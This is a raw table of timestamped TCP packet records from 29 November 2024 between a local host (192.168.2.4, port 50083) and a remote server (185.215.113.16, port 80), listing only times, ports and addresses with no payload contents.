Nov 29, 2024 20:07:58.479687929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.479737043 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.480470896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.480510950 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.480551958 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.480590105 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.481343031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.481389046 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.481393099 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.481431007 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.482166052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.482215881 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.482238054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.482278109 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.483092070 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.483139038 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.483144999 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.483184099 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.484308958 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.484319925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.484357119 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.484750986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.484798908 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.485131979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.485173941 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.485639095 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.485678911 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.485702991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.485773087 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.486480951 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.487360954 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.487512112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490211010 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490221977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490232944 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490242958 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490256071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490267992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.490272999 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.490314007 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.490993023 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.491182089 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.491230965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.491827965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.491878033 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.492012024 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.492084026 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.492707968 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.492755890 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.493120909 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.493169069 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.493705988 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.493716955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.493755102 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.494472980 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.494640112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.494685888 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.495301008 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.495347023 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.495476007 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.495516062 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.496145964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.496192932 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.496507883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.496551991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.497011900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.497065067 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.497195005 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.497239113 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.497886896 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.497931957 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.498030901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.498069048 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.498802900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.498965979 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.499020100 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.499594927 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.499641895 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.499818087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.499876976 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.500485897 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.500556946 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.500560045 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.500614882 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.501310110 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.501354933 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.501494884 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.501535892 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.502286911 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.502298117 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.502331972 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.502352953 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.635569096 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.635632038 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.636060953 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.636070967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.636105061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.636116028 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.636220932 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.636262894 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.636499882 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.636543036 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.636595964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.636642933 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.637569904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.637602091 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.637614965 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.637634993 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.669734001 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.669848919 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.670140028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.670216084 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.670969009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.671046019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.671782017 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.671853065 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.672667027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.672715902 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.673296928 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.673414946 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.673495054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.673552990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.673576117 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.673666954 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.674385071 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.674478054 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.674504995 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.674523115 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.675246000 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.675455093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.676122904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.676229954 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.676938057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.677052975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.677843094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.677906036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.678697109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.678781033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.679513931 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.679622889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.680362940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.680506945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.681267977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.681406021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.682132006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.682198048 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.683024883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.683144093 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.683820009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.683908939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.684802055 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.684906006 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.685605049 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.685720921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.686485052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.686495066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.687248945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.687378883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.688117027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.688283920 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.688947916 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.688981056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.689100027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.689861059 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.689903021 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.690717936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.690815926 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.691575050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.691669941 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.691766977 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.691802979 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.691829920 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.691862106 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.692454100 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.692526102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.692548990 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.692586899 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.693331957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.693442106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.694291115 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.694371939 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.695070028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.695185900 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.695853949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.695940018 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.696784019 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.696830034 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.697608948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.697743893 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.698579073 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.698621035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.699340105 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.699402094 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.700345993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.700443029 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.701219082 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.701304913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.702094078 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.702217102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.702929020 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.703003883 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.703700066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.703751087 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.704488993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.704565048 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.704587936 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.704807043 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.704838991 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.704860926 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.705327988 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.705382109 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.705481052 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.705533028 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.706211090 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.706311941 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.707070112 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.707129002 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.707978964 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.708061934 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.708775997 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.708892107 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.709863901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.710012913 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.710772038 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.710875988 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.711633921 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.711708069 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.720177889 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.720827103 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.720873117 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.845782042 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.845885038 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.846221924 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.846321106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.847100973 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.847248077 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.847913027 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.852030039 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.880129099 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.880140066 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.880414009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.880604029 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.880731106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.881593943 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.881680965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.882328033 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.882436991 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.883177996 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.883270025 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.884088993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.884165049 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.884912014 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.885021925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.885797977 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.885859013 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.886408091 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.886492014 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.886626005 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.886710882 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.886739016 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.887110949 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.887532949 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.887610912 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.888392925 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.888489962 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.889238119 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.889369965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.890136957 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.890400887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.890943050 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.891043901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.891725063 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.891787052 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.891814947 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.891908884 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.891921997 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.892250061 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.892652035 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.892760992 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.893531084 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.893640041 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.894378901 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.894434929 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.895258904 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.895303965 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.896090031 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.896209955 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.896455050 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.896953106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.897087097 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.897218943 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.897829056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.897952080 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.898036957 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.898684025 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.898730040 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.898787975 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.899539948 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.899643898 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.900477886 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.900512934 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.901285887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.901382923 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.902139902 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.902225971 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.902991056 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.903080940 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.903851986 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.903954983 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.904715061 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.904817104 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.905558109 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.905663967 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.906483889 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.906522036 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.906549931 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.906613111 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.906636000 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.907298088 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.907416105 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.907423973 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.908175945 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.908294916 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.908548117 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.909018993 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.909101009 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.909944057 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.910085917 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.910780907 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.910835028 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.911595106 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.911708117 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.912015915 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.912066936 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.912470102 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.912556887 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.912631989 CET	50083	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:58.913470030 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.913641930 CET	80	50083	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:58.914288044 CET	80	50083	185.215.113.16	192.168.2.4
